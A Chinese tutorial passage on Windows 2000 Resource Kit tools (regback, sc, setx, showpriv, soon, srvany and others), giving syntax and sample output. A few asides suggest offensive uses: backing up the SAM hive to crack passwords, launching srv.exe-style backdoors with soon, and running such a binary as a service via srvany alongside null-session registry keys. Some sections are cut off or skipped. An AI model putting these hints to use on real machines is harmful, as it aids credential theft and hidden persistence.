举例：这里我已经事先使用Tracelog生成了一个logfile.etl，然后，
reducer -out my_workload.txt c:\logfile.etl就行了。
+-----------------------------------------------------------------------------------------------------------------------------------+
│ WINDOWS 2000 Capacity Planning Trace
│
│ Version : 2128
│
│ Type : Default
│
+-----------------------------------------------------------------------------------------------------------------------------------+
│
│ Build : 2195
│
│ Processors: 1
│
│ Start Time: 17 Feb 2002 23:14:17.430
│______________________________________________________________________│ │
│ End Time : 17 Feb 2002 23:14:38.550
│
│ Duration : 21 Sec
│
│
│ Trace Name: NT Kernel Logger
│
│ File Name : C:\LogFile.Etl
│
│ Start Time: 17 Feb 2002 23:14:17.430
│______________________________________________________________________│ │
│ End Time : 17 Feb 2002 23:14:38.550
│
│ Duration : 21 Sec
│
│
+-----------------------------------------------------------------------------------------------------------------------------------+
│ Transaction Statistics
│
+-----------------------------------------------------------------------------------------------------------------------------------+
│ Transaction Sort Trans Response Transaction Disk/Trans
Tcp/Trans │
│ Key Time(ms) Rate/sec Reads
Writes Sends Recieves │
+-----------------------------------------------------------------------------------------------------------------------------------+
+-----------------------------------------------------------------------------------------------------------------------------------+
～
样式大概会是这样的。
18. Regback.exe （Registry Backup)
一个注册表备份用工具，允许你在系统运行期间对注册表进行备份。我想当你需要测试一个软件时，最好先备份一下注册表。在使用这个程序时，至少需要备份文件和文件夹的权限。Regback.exe在运行的时侯需要调用Replacekey函数。
语法：
regback destination_dir filename hivetype hivename more│/?
destination_dir
备份文件的位置
filename
要创立的文件
hivetype
machine或者是users
hivename
HKLM或者HKLU
这里提几点注意：
Regback可以备份整个注册表hive（你可以理解为一个file，比如HKEY_USERS\Default在硬盘上实际上就是%SYSTEMROOT%\SYSTEM32\CONFIG\DEFAULT\DEFAULT.LOG）还包括了ACLs(Access control lists)，所以你也可以用这个东东发现和以前不同的ACLs。Regback不能自动备份Config文件夹以外的文件，你要手动进行，这是为了避免名字冲突。如果当前注册表并没 有打开的hive需要自己用Xcopy.exe或者是Scopy.exe拷贝。另外，没有装入的Hive也要自己弄。如果出错的话，Regback会在第一次的时候就停止工作。它也不能覆盖存在的文件，会报错。还有如果空间不合适的话，备份就不能进行，所以最好先备份到硬盘上，然后再拷贝到磁盘上保存。举两个例子吧！
备份全部活动的Hives
C:\>regback c:\backup
saving SECURITY to c:\backup\SECURITY
saving SOFTWARE to c:\backup\software
saving SYSTEM to c:\backup\system
saving .DEFAULT to c:\backup\default
saving SAM to c:\backup\SAM
***Hive = '\REGISTRY\USER'\'S-1-5-21-1177238915-1383384898-1957994488-500'
Stored in file '\Device\HarddiskVolume1\Documents and Settings\Administrator'\'N
TUSER.DAT'
Must be backed up manually
regback users S-1-5-21-1177238915-1383384898-1957994488-50
0

***Hive = '\REGISTRY\USER'\'S-1-5-21-1177238915-1383384898-1957994488-500_Classe
s'
Stored in file '\Device\HarddiskVolume1\Documents and Settings\Administrator\Loc
al Settings\Application Data\Microsoft\Windows'\'UsrClass.dat'
Must be backed up manually
regback users S-1-5-21-1177238915-1383384898-1957994488-50
0_Classes
你看，连SAM都可以备份，对于破解SAM，也是有非常大的用处的。
下面是备份指定的User的Profile
C:\>regback c:\backup\administrator.bku users s-1-5-21-1177238915-1383384898-195
7994488-500
saving s-1-5-21-1177238915-1383384898-1957994488-500 to c:\backup\administrator.
bku这里用的是SID比较特别，只是用起来太麻烦了，输那么多数字，呵呵！ 最后是做一个网络备份，也是一个批量脚本。注意使用Schedule服务一起搭配。前面提到过regback不能覆盖文件，一旦有重名的文件将会导致错误的发生
echo on
rem ... Name: doback.bat
rem ... Purpose: Network backup for Registry files
rem ... Process: Connect to backup share, delete old backup files, copy over new
backup files
rem ... Before using this batch file, create a share containing the following
directories: backup, config. Set permissions on this share so that appropriate users
can run this script.
net use \\myshare\backup
rem --> delete old backups; regback will not copy over an existing file
echo y│del
24. Sc.exe （Service Controller Tool）
干好一年以前就写过这个东西介绍了。大家再看一遍吧！:s
我们知道在MStools SDK，也就是在Resource Kit有一个很少有人知道的命令行软件，SC.exe，这个软件向所有的Windows NT和Windows 2000要求控制他们的API函数。我们可以在命令行里通过对这些函数设定参数的方式来设定他们(API)。SC.exe也可以显示服务的状态，同时也可以从状态结构区域里重新找到存储在里面的数值。它还可以列出远程计算机的服务函数或者是服务状况结构。SC.exe这个开发工具至少可以比服务控制面板程序和网络命令行界面(net.exe，这个东西可以告诉你一个服务是
在运行中，还是停止，还是暂停。）这两个东西提供更多的细节和准确的信息。虽然上述两个东西在正常工作的情况下，对于完整的调试是非常好用的，但是如果有新的服务，或者新的代码被开发出来的时候，这两个工具提供的信息可能造成误导。这也就是我们需要用到SC的原因。
下面举列说明，如果在开发阶段，你的服务在挂住在一个start-pending的时候，控制面板和net.exe同样报告服务是在运行的。但它挂在一个stop-pending的时候，net.exe报告它运行，而控制面板着报告它停止，如果你试着 启动它，这是控制面板则会告诉你这个服务正在运行。难道这不是很困惑吗？呵呵！
SC.exe可以让你询问服务的状况和取出存储在状态结构区域内的数值，控制面板和net.exe不提供服务完整的状况 。但是无论如何，SC程序可以告诉你这个服务准确的情形，同样也可以给你看最后的checkpoint数和等待提示。
这个checkpoint，我叫它检查点(我觉得他就像一个程序调试时置的断点)，所以我们也可以把看作为一个调试工具，因为它可以提供一个关于在程序停止时还要沿着初始化继续前进多久准确报告。
SC.exe也可以允许你调用很多的服务控制API函数，可以让你从命令行里改变大量的参数。这位服务开发者们提供了很多的优势。例如，它提供了一个方便的方式来创建或者在注册表和服务控制管理数据库中配置服务信息。开发者们不需要在手动的在注册表里单独的设置键值来配置服务，也不用重起机器来强迫服务控制管理数据库升级 。
作为一个命令很工具，SC.exe可以用来测试你自己的系统，你可以设置一个批处理文件来使用不同的参数调用SC.exe来控制服务。这个很有用，如果你想看看你的服务不断的启动和停止，我没有试过哦！让一个服务一下子打开，一下子关闭，听上去很不错的。如果你的服务进程里面有多个进程的话，你可以保持一个进程继续运行不让它走开，然后让另一个不断的打开在关闭，还可以寻找一下内存缺乏导致不完全清楚的证据。下面介绍SC，SC QC，and SC QUERY
SC使用这样的语法：
1. SC [Servername] command Servicename [Optionname= Optionvalue]
2. SC [command]
这里使用第一种语法使用SC，使用第二种语法显示帮助。
下面介绍各种参数。
Servername
可选择：可以使用双斜线，如\\myserver，也可以是\\192.168.0.1来操作远程计算机。如果在本地计算机上
操作
就不用添加任何参数。
Command
下面列出SC可以使用的命令。
config 改变一个服务的配置。（长久的）
continue 对一个服务送出一个继续控制的要求。
control 对一个服务送出一个控制。
create 创建一个服务。（增加到注册表中）
delete 删除一个服务。（从注册表中删除）
EnumDepend 列举服务的从属关系。
GetDisplayName 获得一个服务的显示名称。
GetKeyName 获得一个服务的服务键名。
interrogate 对一个服务送出一个询问控制要求。
pause 对一个服务送出一个暂停控制要求。
qc 询问一个服务的配置。
query 询问一个服务的状态，也可以列举服务的状态类型。
start 启动一个服务。
stop 对一个服务送出一个停止的要求。
Servicename
在注册表中为service key制定的名称。注意这个名称是不同于显示名称的（这个名称可以用net start和服务控制面板看到），而SC是使用服务键名来鉴别服务的。 Optionname
这个optionname和optionvalue参数允许你指定操作命令参数的名称和数值。注意，这一点很重要在操作名称和等号之间是没有空格的。一开始我不知道，结果………………，比如，start= optionvalue，这个很重要。
optionvalue可以是0，1，或者是更多的操作参数名称和数值对。
如果你想要看每个命令的可以用的optionvalue，你可以使用sc command这样的格式。这会为你提供详细的帮助。
Optionvalue
为optionname的参数的名称指定它的数值。有效数值范围常常限制于哪一个参数的optionname。如果要列表请用sc command来询问每个命令。
Comments
很多的命令需要管理员权限，所以我想说，在你操作这些东西的时候最好是管理员。呵呵！
当你键入SC而不带任何参数时，SC.exe会显示帮助信息和可用的命令。当你键入SC紧跟着命令名称时，你可以得到一个有关这个命令的详细列表。比如，键入sc create可以得到和create有关的列表。 但是除了一个命令，sc query，这会导出该系统中当前正在运行的所有服务和驱动程序的状态。 当你使用start命令时，你可以传递一些参数（arguments）给服务的主函数，但是不是给服务进程的主函数。
SC create
这个命令可以在注册表和服务控制管理数据库建立一个入口。
语法1
sc [servername] create Servicename [Optionname= Optionvalue]
这里的servername，servicename，optionname，optionvalue和上面的一样，这里就不多说了。这里我们
详细说
明一下optionname和optionvalue。
Optionname Optionvalue
描述
type= own, share, interact, kernel, filesys
关于建立服务的类型，选项值包括驱动程序使用的类型，默认是share。
start= boot, system, auto, demand, disabled
关于启动服务的类型，选项值包括驱动程序使用的类型，默认是demand（手动）。
error= normal, severe, critical, ignore
当服务在导入失败错误的严重性，默认是normal。
binPath= (string)
服务二进制文件的路径名，这里没有默认值，这个字符串是必须设置的。
group= (string)
这个服务属于的组，这个组的列表保存在注册表中的ServiceGroupOrder下。默认是nothing。
tag= (string)
如果这个字符串被设置为yes，sc可以从CreateService call中得到一个tagId。然而，SC并不显示这个标签
，所
以使用这个没有多少意义。默认是nothing
depend= (space separated string)有空格的字符串。
在这个服务启动前必须启动的服务的名称或者是组。
obj= (string)
账号运行使用的名称，也可以说是登陆身份。默认是localsystem
Displayname= (string)
一个为在用户界面程序中鉴别各个服务使用的字符串。
password= (string)
一个密码，如果一个不同于localsystem的账号使用时需要使用这个。
Optionvalue
Optionname参数名称的数值列表。参考optionname。当我们输入一个字符串时，如果输入一个空的引用这意味着一个空的字符串将被导入。
Comments
The SC CREATE command performs the operations of the CreateService API function.
这个sc create命令执行CreateService API函数的操作。详细请见CreateService。
例1
下面这个例子在一台叫做（\\myserver）的计算机上为一个叫“NewService”的服务建立的一个注册表登记。
sc \\myserver create NewService binpath= c:\winnt\system32\NewServ.exe
按照默认，这个服务会建立一个WIN32_SHARE_PROCESS使用SERVICE_DEMAND_START启动方式。这将不会有任何从属关系，也将会按照localsystem安全上下关系来运行。
例2
下面这个例子将在本地计算机上，建立一个服务，它将会是一个自动运行服务，并且运行在他自己的进程上。它从属于TDI组和NetBios服务上。注意，你必须在从属中间增加一个空格的引用。
sc create NewService binpath= c:\winnt\system32\NewServ.exe type= own
start= auto depend= "+TDI Netbios"
例3
服务开发者可以通过临时改变二进制路径（影像路径）的方式来将这个服务运行在内核调试器的上下关系中。下面这个例子就可以让我们看到如何改变服务的配置。
sc config NewService binpath= "ntsd -d c:\winnt\system32\Newserv.exe"

这个例子会引起服务控制管理器调用ntsd.exe使用下例的参数字符串：
"-d c:\nt\system32\NewServ.exe"
当系统装入newserv.exe时ntsd将会转而打断调试器，所以断点可以被设置在服务代码里。
SC QC
这个SC QC“询问配置”命令可以列出一个服务的配置信息和QUERY_SERVICE_CONFIG结构。
语法1
sc [Servername] qc Servicename [Buffersize]
Parameters
servername和servicename前面已经介绍过了，这里不再多说。
Buffersize，可选择的，列出缓冲区的尺寸。
Comments
SC QC命令显示了QUERY_SERVICE_CONFIG结构的内容。
以下是QUERY_SERVICE_CONFIG相应的区域。
TYPE dwServiceType
START_TYPE dwStartType
ERROR_CONTROL dwErrorControl
BINARY_PATH_NAME lpBinaryPathName
LOAD_ORDER_GROUP lpLoadOrderGroup
TAG dwTagId
DISPLAY_NAME lpDisplayName
DEPENDENCIES lpDependencies
SERVICE_START_NAME lpServiceStartName
例1
下面这个例子询问了在上面例子中建立的“NewService”服务的配置：
sc \\myserver qc NewService
sc显示下面的信息：
SERVICE_NAME: NewService
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : c:\winnt\system32\NewServ.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : NewService
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
NewService有能力和其他的服务共享一个进程。但是它不是自动启动的。二进制文件名是NewServ.exe。这个服务不依靠与其它的的服务，而且运行在lcoalsystem的安全上下关系中。这些都是调用QueryServiceStatus基本的返回，如果还需要更多的细节届时，可以看看API函数文件。
SC QUERY
SC QUERY命令可以获得服务的信息。
语法：
sc [Servername] query { Servicename │ Optionname= Optionvalue... }
参数：
servername, servicename, optionname, optionvalue不在解释。只谈一下这个命令提供的数值。
Optionname Optionvalue
Description
type= driver, service, all
列举服务的类型，默认是service
state= active, inactive, all
列举服务的状态，默认是active
bufsize= (numeric value)
列举缓冲区的尺寸，默认是1024 bytes
ri= (numeric value)
但开始列举时，恢复指针的数字，默认是0
Optionvalue
同上。
Comments
SC QUERY命令可以显示SERVICE_STATUS结构的内容。
下面是SERVICE_STATUS结构相应的信息：
TYPE dwServiceType
STATE dwCurrentState, dwControlsAccepted
WIN32_EXIT_CODE dwWin32ExitCode
SERVICE_EXIT_CODE dwServiceSpecificExitCode
CHECKPOINT dwCheckPoint
WAIT_HINT dwWaitHint
在启动计算机后，使用SC QUERY命令会告诉你是否，或者不是一个启动服务的尝试。如果这个服务成功启动， WIN32_EXIT_CODE区间会将会包含一个0，当尝试不成功时，当它意识到这个服务不能够启动时，这个区间也会提供一个退出码给服务。
例子
查询“NewService"服务状态，键入：
sc query NewService
显示一下信息：
SERVICE_NAME: NewService
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 1 STOPPED
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 1077 (0x435)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
注意，这里存在一个给这个服务的退出码，即使这个服务部不在运行，键入net helpmsg 1077，将会得到对
1077错误信息的说明：
上次启动之后，仍未尝试引导服务。所以，这里我想说一句，希望大家可以活用net helpmsg，这会对你的学习有很大的帮助。 下面在对SC query的命令在说明一下：
列举活动服务和驱动程序状态，使用以下命令：
sc query
显示messenger服务，使用以下命令：
sc query messenger
只列举活动的驱动程序，使用以下命令：
sc query type= driver
列举Win32服务，使用以下命令：
sc query type= service
列举所有的服务和驱动程序，使用以下命令：
sc query state= all
用50 byte的缓冲区来进行列举，使用以下命令：
sc query bufsize= 50
在恢复列举时使用index=14，使用以下命令：
sc query ri=14
列举所有的交互式服务，使用以下命令：
sc query type= service type= interact
好了，说到这里。SC命令基本上已经说完了。希望大家好好看看，呵呵！相信会有帮助的！！
25. Scanreg.exe
又是个注册表工具，有没有人烦了？我都快烦了，呵呵！
一个注册表检查工具，基本上就是一个"registry GREP"。支持搜索本地或远程的Win一家老小的注册表中的任
意东西。
scanreg -s string -k -v -d -r key -c -e -n
-s
要搜索的字符串
-r
开始搜索的root，默认是HKEY_CURRENT_USER
也可以使用以下的格式：
HKEY_LOCAL_MACHINE === lm
HKEY_CURRENT_USER === cu
HKEY_CLASSES_ROOT === cr
HKEY_USERS === us
-k
查询键。
-v 注意必须指定-k -v -d中的至少一个。
查询值。
-d
当然是查询数据。
-c （默认是不敏感）
大小写敏感。
-e （默认是返回所有合适的）
只返回却确合适的。
-n
输出的时候不使用颜色（默认是key红，values绿，data黄）真不知道微软的怎么想的！！看上去怪怪的，还有
就是匹配的字符串都高亮标出。
最后来两个例子：
scanreg -s version -k -v -d
scanreg -s version -kvd <--居然这种独可以？
scanreg /s version /r \lm\software /kvde 没有关系，这种都是可以的，呵呵！
scanreg version \\hello\HKEY_LOCAL_MACHINE -d 操作远程的东东。

26. sclist.exe
可以列出当前运行或者是停止的服务。看看远程的机器也是功能之一，但是比起SC来说，还是太简单了！
sclist -r -s MachineName -?
-r
只显示正在运行的服务。
-s
只显示已经停止的服务。
Machinename
本地可以不指出。
这个简单大家自己做做，这里不举例了！！ ，不要讲我偷懒哦！

27. Setx.exe
这个命令行工具提供了一种批量修改环境变量的方法，同时不需要使用任何编程方法或者是脚本。此外，除了可以获得变量和值之外还可以跟注册表的值挂上关系。在2000中除了setx.exe之外，其他没有任何一种命令行工具可以直接设置系统变量值。只有通过控制面板和注册表编辑器才能够设置。如果有人说可以用set命令的话，
实际上这个CMD的内部命令只能够设置当前控制台窗口的用户环境变量。
setx允许你通过Command Line Mode，Registry Mode，File Mode，这三种模式来设置环境变量。
a. Command-Line
setx variable value -m
variable
要设置的环境变量的名字。
value
要设置的值。
-m
设置计算机环境，默认设置是用户环境。
b. Registry Mode
setx variable -k hive\key\……\value -m
variable
要设置的环境变量的名字。
-k
指定变量设置会基于注册表中的信息。
hive\key\……\value
注册表路径，如：
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\TimeZoneInformation\StandardName
-m
同命令行模式。
c. File Mode
setx variable -f filename -a x,y │ -r x,y "string" -d d -x -m
-f filename
指定使用的文件名。
-a x,y
指定要搜索的绝对坐标或者是偏移量。
-r x,y "string"
指定从"string"的相对坐标或者是偏移。
-d d
指定附加的分隔符，后一个d表示，可以是",", "\"等等。系统有四个内建的分隔符是：space, tab,
carriage return, linefeed。附加的可以是任意的ASCII字符。
-x
显示文件坐标，这个时候-a, -r, -d会变忽略。
-m
在同上。
setx将变量写入到在注册表的主环境中去。用setx设置的变量将会在下一次启动的时候生效，这是2000的局限
。当访问REG_MULTI_SZ时，只能访问到第一个项目。
目前setx只可以支持HKCU和HKLM两个hives。用Setx增加的值不可以用setx去掉，可以在控制面板里面改，也
可以在注册表里面改，这种时候也可以用set把它置空。
但是还是来几个例子吧！
a.Command Line
Setx MACHINE COMPAQ
在用户环境中设置MICHINE为COMPAQ。
setx MYPATH %PATH%
设置MYPATH的值为当前PATH变量的值。
setx MYPATH ~PATH~
设置MYPATH总是和PATH环境的值保持一致。
b. Registry
Setx TZONE -k
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\TimeZoneInformation\StandardName
设置TZONE的值为上面的键。比如："Central Standard Time"
Setx BUILD -k "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
NT\CurrentVersion\CurrentBuildNumber"
设置BUILD的值为当前的Windows NT版本号，如：1314。
c. File
在进行这部分之前先运行ipconfig > ipconfig.out，弄一个ipconfig的文本出来。然后就可以进行操作了
Setx var -f ipconfig.out -x
这个命令会显示这个文件的内容的坐标。如：
C:\>SETX VAR -f ipconfig.out -x
(1,0 Windows) (1,1 2000) (1,2 IP) (1,3 Configuration)
(3,0 Ethernet) (3,1 adapter) (3,2 Local) (3,3 Area) (3,4 Connection:)
(5,0 Connection-specific) (5,1 DNS) (5,2 Suffix) (5,3 .) (5,4
(6,0 IP) (6,1 Address.) (6,2 .) (6,3 .) (6,4 .) (6,5 .) (6,6 .) (6,7 .) (6,8 .)
(6,9 .) (6,10 .) (6,11 .) (6,12 .) (6,13 (6,14 192.168.1.1)
(7,0 Subnet) (7,1 Mask) (7,2 .) (7,3 .) (7,4 .) (7,5 .) (7,6 .) (7,7 .) (7,8 .)
(7,9 .) (7,10 .) (7,11 .) (7,12 .) (7,13 (7,14 255.255.255.0)
(8,0 Default) (8,1 Gateway) (8,2 .) (8,3 .) (8,4 .) (8,5 .) (8,6 .) (8,7 .) (8,8
.) (8,9 .) (8,10 .) (8,11
setx ipaddr -f ipconfig.out -a 5,11
这个命令会寻找绝对偏移为(5，11)的内容，然后设置ipaddr为这个值。如：
C:\>setx ipaddr -f ipconfig.out -a 6,14
Extracted value is: 192.168.1.1
Setx ipgateway -f ipconfig.out -r 0,11 "Gateway"
查找Gateway这个字符串偏移0，11的东东，然后写到ipgateway里面去。
C:\>Setx ipgateway -f ipconfig.out -r 0,11 "Gateway"
Extracted value is: 192.168.1.244
以上所有的修改都会在重起以后看到，可以用set或者是控制面板中的System properties看。
28. showpriv.exe （show Privilege）
一个用来显示用户或者是组分配的特权的命令行工具，如果要看domain的相关的东西的话，要在DC上使用。
使用起来很简单，showpriv privilege就行了，如：
C:\>showpriv sesecurityprivilege
1 account(s) with the sesecurityprivilege user right:
BUILTIN\Administrators
All accounts enumerated
这里主要讲一下这个2000的一些privilege。
Privilege，为本地管理员提供了一种手段，可以控制允许什么人具有什么权限或者能执行什么样的系统操作，
如允许交互式登陆等等。这里我们说的特权是指特殊操作所需的权限，如备份呀什么的！一旦授予了某种特权，这些特权就会包括在用户的安全访问令牌中。这是一些基本的概念，可以看以下，比较容易明白。 系统为了管理的方便总是为每个本地组分配了相应的特权，而且从来不改变这个特权，这些东东在NT系统上可以分为内置能力，标准用户权力，高级用户权力这么几种，但是在2000中标准权利和高级权力已经被用户特权所取代，只有在为委派而信任计算机和用户帐户（SeEnableDelegationPrivilege)和把计算机从dock中移出（SeUndockPrivilege)这两种情况下可以把NT的权利映射到2000中的特权。
注意一下2000的一些问题。并非所有能力都有匹配的权利，因此，不可能用权力完全匹配组的内置能力。而由于特定组能力的预定义分配和不能把所有能力复制为权力，就难以区分任务，并且只能强制使用最低特权的概念。 那么在域一级下就缺少一个安全结构，导致了难以授予管理的功能。2000在AD引入后，就允许区分任务，也可授
予domain和OU相应的管理层次。
下面来谈一下具体的一些用户特权，应当有26个，也有说28个的。
SeTcbPrivilege
成为OS的一部分
允许进程可以像用户一样被鉴别，因此可以像用户一样访问相应的资源。只有底层的鉴别服务需要这样的特权，所以无论是工作站，独立服务器，还是DC都没有把这个设为某人权利。
SeMachineAccountPrivilege
添加工作站到域
为了这个特权可以启用，必须保证这个用户在域控制器本地安全策略中的才行。
SeBackupPrivilege
备份文件和目录。
允许用户绕过文件和目录的权限来做备份。只有当应用程序尝试访问NTFS备份API时才检查这个特权。默认情况下，这个特权分配给Administrators和Backup Operators。
SeChangeNotifyPrivilege
回避遍历检查。
允许用户来回移动目录，但是不能列出文件夹的内容。默认情况下，这种特权被赋予Administrators,
Backup Operators, Power Users, Users ,and Everyone，换句话说就是所有人都有这种权利。
SeSystemTimePrivilege
改变系统时间。
默认情况下Administrators和Power Users有这种权利。
SeCreatePagefilePrivilege
创建分页文件。
允许用户创建和改变一个分页文件的大小。默认情况下，只有Administrators有这个特权。
SeCreateTokenPrivilege
创建令牌对象。
允许进程调用NtCreateToken()或者是其他的Token-Creating APIs创建一个访问令牌。
SeCreatePermanentPrivilege
创建永久共享对象。
允许进程在2000项目管理器中创建一个目录对象。
SeDebugPrivilege
调试程序。
允许用户连接一个Debugger来调试任何进程。默认情况下Administrators有该特权。
SeEnableDelegationPrivilege
为委派而信任计算机和用户帐户。
允许用户为了委派而改变信任，只有当用户或者是计算机对该对象的帐户控制标志有写权限的时候可以。
SeRemoteShutdownPrivilege
远程关闭系统。
Administrators在默认情况下有此特权。
SeAuditPrivilege
产生安全审核。
允许一个应用程序在安全日志中，创建，产生，增加一条记录。
SeIncreaseQuotaPrivilege
增加限额。
允许一个有写属性的进程利用其他进程从而取得更多的处理器限额，这种特权有利于系统调试，但是也有导致 DOS的可能。
SeIncreaseBaseProrityPrivilege
增加调度优先级。
允许一个有写属性的进程利用其它进程来获得更多的执行优先权。有这种特权的用户可以在Task管理器中改变一
个进程的调度优先权。默认情况Administrators有该特权。
SeLoadDriverPrivilege
安装和卸载设备驱动程序。
允许用户安装和卸载即插即用设备的驱动程序，不是即插即用的不受这个特权影响，但是只能被
Administrators所安装。因为驱动程序是作为被信任的程序来运行的，这需要很高的特权。而这种特权可能会
被用于安装恶意程序，和破坏性的访问。默认情况下Administrators有该特权。
SeSecurityPrivilege
管理审计和安全日志。
允许用户指定对象访问的审计。有这种特权的用户也可以清空安全日志。默认情况下Administrators有该特权
SeSystemEnvironmentPrivilege
修改firmware环境变量。
允许用户使用进程通过一个API来设置系统环境变量，另外，也可以让用户使用System Properties来做到以上这一步。默认情况下Administrators有该特权。
SeProfileSingleProcessPrivilege
Profile单一进程。
允许用户使用性能监视器来监视nonsystem进程。默认情况下Administrators有此特权。
SeSystemProfilePrivilege
Profile系统性能。
允许用户使用性能监视器来监视system进程。默认情况下Administrators有此特权。
SeUndockPrivilege
将计算机中dock中删除。
允许用户使用Eject PC从坞中将计算机移出，默认情况下Administrators, Power Users, Users均有此特权。
SeAssignPrimaryTokenPrivilege
替换一个进程级令牌。
允许一个父进程替换相关的子进程的访问令牌。
SeRestorePrivilege
恢复文件和目录。
允许用户绕过文件及目录权限来恢复备份文件。默认情况下Administrators和Backup Operators有此特权。
SeShutdownPrivilege
关闭系统。
允许用户关闭本地计算机。默认情况下Administrators, Backup Operators, Power Users, Users都有该特权，但是在2000 Server中Users没有此特权。
SeSynchAgentPrivilege
同步目录服务数据。
允许一个进程提供目录同步服务，这个特权只有在DC上。默认情况下域的Administrators和LocalSystem帐户有此特权。
SeTakeOwnershipPrivilege
取得文件所有者身份。
允许用户取得在系统中任何可得到的对象的所有者身份，包括：AD对象，文件，文件夹，打印机，注册表键，进程和线程。默认情况下Administrator有此特权。以上就是2000的用户特权了，是不是很多呢？呵呵！
29. Sleep.exe （Batch File Wait）
Sleep可以让计算机等待一段指定的时间。这个东东对于使用Batch文件会非常有用，在某些情况下也可能会让AT命令的使用更加方便。
Sleep time
time
要暂停的时间，秒为单位。
sleep 20
在运行下一个程序之前等待20s。
假设我们搞这么一个登陆脚本到计算机上，我想是个不错的主意。
@echo off
echo 2／23／2002
echo.
echo 不要忘了明天女朋友生日哦！！呵呵！
sleep 60
30. Soon.exe （Near-Future Command Scheduler)
soon这个命令可以让一个程序在很短的时间里面启动，比如几秒钟之内。基本上soon就是一个AT的装配命令， 可以简单的装配一组合适AT命令来远程或者是本地启动一个程序。当然soon使用起来要比AT简单的多，自然功能也要少一些了。当然soon可以让一个命令在小于一天的时间内重复启动，这一点还是很有用的。下面介绍一下如何使用。
soon有两种命令，一是普通的操作命令，还有就是配置命令。
1. Scheduling Command
soon \\computername delay /interactive "command"
\\computername
指定你要的计算机，远程使用时要net use。
delay
指定从现在开始到启动程序的间隔，以秒为单位，默认情况下是本地5s,远程15s。
/interactive
这个和AT命令里面的interactive是一样的。基本上可以看作是如果你打开一个cmd窗口，它会在桌面上跳出来
。默认是off的。只有当Schedule服务以LocalSystem身份启动时才可以Interactive。
command
你想要执行的命令，这里用双引号来维持命令解释时候的空格。
2. Configuration Command
soon /d /l:n /r:n /i: on│off
/d
用这个开关来修改默认配置
/l:n
指定LocalDelay的值。
/r:n
指定RemoteDelay的值。 注意，这些值都是正整数，而且以秒为单位。
/i:on│off
指定默认情况下是interactive还是uninteractive。
如果你想每5分钟启动一次一个程序可以写一个这样的脚本。
every5.cmd
soon 300 every5.cmd
xxxx.exe
对于远程启动时，使用AT命令不能成功的原因多数是因为AT命令需要指定绝对时间，如果不能搞得太清楚的话，我建议你们使用soon命令，在大部分情况下大家需要AT的功能，soon都可以完成，而且很快。基本上srv.exe 这样的后门都可以用soon来做。
另外不得不提一点，不知道是我的机器的关系还是这个程序本身的bug，很多情况下soon产生的schedule居然会是tomorrow，这个有点让人搞不懂。大家可以多试试。
31. Srvany.exe （Applications as Services Utility）
Srvany一个可以让Windows应用程序像一个服务那样运行。也就是说在logoff的时候不关闭，也不用在logon 的时候重新启动。也就是就算是没有人登陆这个程序也可以运行，当然计算机得是开着的，呵呵！此外，如果这 个应用程序不忽略WM_ENDSESSION或者CTRL_LOGOFF_EVENT时，程序也会因为logoff而退出。 srvany是一个为32-bit应用程序设计的，但是用用16-bit也应该没有多大问题。如果你安装过srvany服务的话，在升级或安装Windows 2000, Windows NT Server, Windows NT Workstation, or applications时要先disabled。实际上srvany本身就是一个服务，它先把自己启动起来，然后又在启动那些配置过的应用程序。就我个人开来这种方法很费力，比起instsrv和srvinstw来说都比较难以使用，最关键的是还要手工添加注册表。下面也就说一下怎么样让一个应用程序像一个服务那样运行。
首先我们要安装Srvany，可以使用instsrv Myservice c:\path\srvany.exe或者srvinstw照提示做就可以了。这个是必要的，我们需要Srvany来启动程序。
当然为了让程序像服务一样运行，我们需要编辑注册表信息，而且还要选择启动参数和工作目录。这里再次提醒手工操作注册标有危险性，注意备份。我们只要在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MyService\下
添加一个Parameters子键，这里的MyService是刚刚指定的Srvany的服务名字。
然后再这个subkey底下建立一个应用程序入口，使用REG_SZ类型。
接着在指定程序的全路径，需要包括扩展名。比如Application: REG_SZ: C:\Tools\srv.exe
为了指定相应的启动参数我们还得继续编辑注册表。
这个时候要在刚刚的Parameters底下接着创建一个AppParameters条目，也是REG_SZ类型。
比如：AppParameters: REG_SZ: C:\tmp\example，当然因为srvany已经被安装为一个服务了，你也可以在Services面板里指定。C:\Tools\srv.exe C:\\temp\example。注意，这里使用\\来表示一个\。再来就是指定环境变量了。 添加一个AppEnvironment，REG_MULTI_SZ类型。这个东西就是Services面板里面的Dependencies这一项。可以根据需要指定，没有就不需要添加。还要指定Working Directory。也是在Parameters里面建立一个AppDirectory使用REG_SZ。比如：AppDirectory: REG_SZ: C:\Tmp
当然也可以在Services里面 /D c:\\tmp D:\\Tools\\Vi.exe c:\\tmp\\example。一个srvany可以启动一个应用程序，如果你要用srvany而且是多个程序的话，只要采用不同的servicename启动一个srvany就可以了。如果要删除可以使用instsrv myservice remove，也可以用sc。
大家可以通过调整以下这几个注册表项来为提供相应的访问。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\
LanmanServer\Parameters\NullSessionShares
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\
LanmanServer\Parameters\NullSessionPipes
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\
LanmanServer\Parameters\RestrictNullSessAccess
32. Srinstw.exe (Service Installation Wizard)
这个安装服务的工具前面就已经提到过了，而且又是GUI工具，使用起来都照着提示做就可以了，这里就不再多说什么，只是注意卸载服务的时候不要把系统重要的服务赶掉就好了。
33. Svcacls.exe （service ACL Editor）
很可惜在这个版本的Reskit里面缺少了这个程序，非常遗憾不能对它进行测试。 Svcacls是一个可以用来设置服务对象的ACL的命令行工具，基本上就是为了方便administrator进行委派控制而设立的。使用这个工具我们需要administrator特权，当然这个东西也是可以进行委派的。这里就提醒一点， 不要删除任何服务的adminstrators和system许可，不然的话，你可能就要从装系统来恢复控制了。
svcacls \\targetcomputer\Service Option
\\targetcomputer\Service
这个不用说了。
Option有以下几种
